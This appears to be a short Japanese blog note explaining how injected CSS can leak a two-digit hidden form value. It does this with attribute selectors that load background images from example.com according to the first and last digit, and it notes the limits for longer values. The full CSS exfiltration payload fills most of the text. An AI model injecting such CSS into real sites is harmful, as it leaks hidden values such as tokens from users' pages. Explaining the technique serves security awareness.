スタイルシートだけでhiddenタグの内容を部分的に読み取る方法
以下のようなHTMLで hidden のvalueの値が数字2桁であることがすでにわかっている場合、
<input type="hidden" name="aa" value="xx"> <div class="bb"><span>text</span></div>
こういうstyle指定を攻撃者が注入できれば、攻撃者がhiddenの内容を読み出すことが出来ます。
input[name="aa"][value^="0"]+div{background:url("http://example.com/0x")} input[name="aa"][value^="1"]+div{background:url("http://example.com/1x")} input[name="aa"][value^="2"]+div{background:url("http://example.com/2x")} input[name="aa"][value^="3"]+div{background:url("http://example.com/3x")} input[name="aa"][value^="4"]+div{background:url("http://example.com/4x")} input[name="aa"][value^="5"]+div{background:url("http://example.com/5x")} input[name="aa"][value^="6"]+div{background:url("http://example.com/6x")} input[name="aa"][value^="7"]+div{background:url("http://example.com/7x")} input[name="aa"][value^="8"]+div{background:url("http://example.com/8x")} input[name="aa"][value^="9"]+div{background:url("http://example.com/9x")} input[name="aa"][value$="0"]+div span{background:url("http://example.com/x0")} input[name="aa"][value$="1"]+div span{background:url("http://example.com/x1")} input[name="aa"][value$="2"]+div span{background:url("http://example.com/x2")} input[name="aa"][value$="3"]+div span{background:url("http://example.com/x3")} input[name="aa"][value$="4"]+div span{background:url("http://example.com/x4")} input[name="aa"][value$="5"]+div span{background:url("http://example.com/x5")} input[name="aa"][value$="6"]+div span{background:url("http://example.com/x6")} input[name="aa"][value$="7"]+div span{background:url("http://example.com/x7")} input[name="aa"][value$="8"]+div span{background:url("http://example.com/x8")} input[name="aa"][value$="9"]+div span{background:url("http://example.com/x9")}
ただし、valueが4文字以上の場合、先頭でも末尾でもない真ん中の部分について位置を指定してマッチさせるセレクタの記述方法が今のところ存在しませんので、この手法は実用的ではなくなってしまいます。
http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf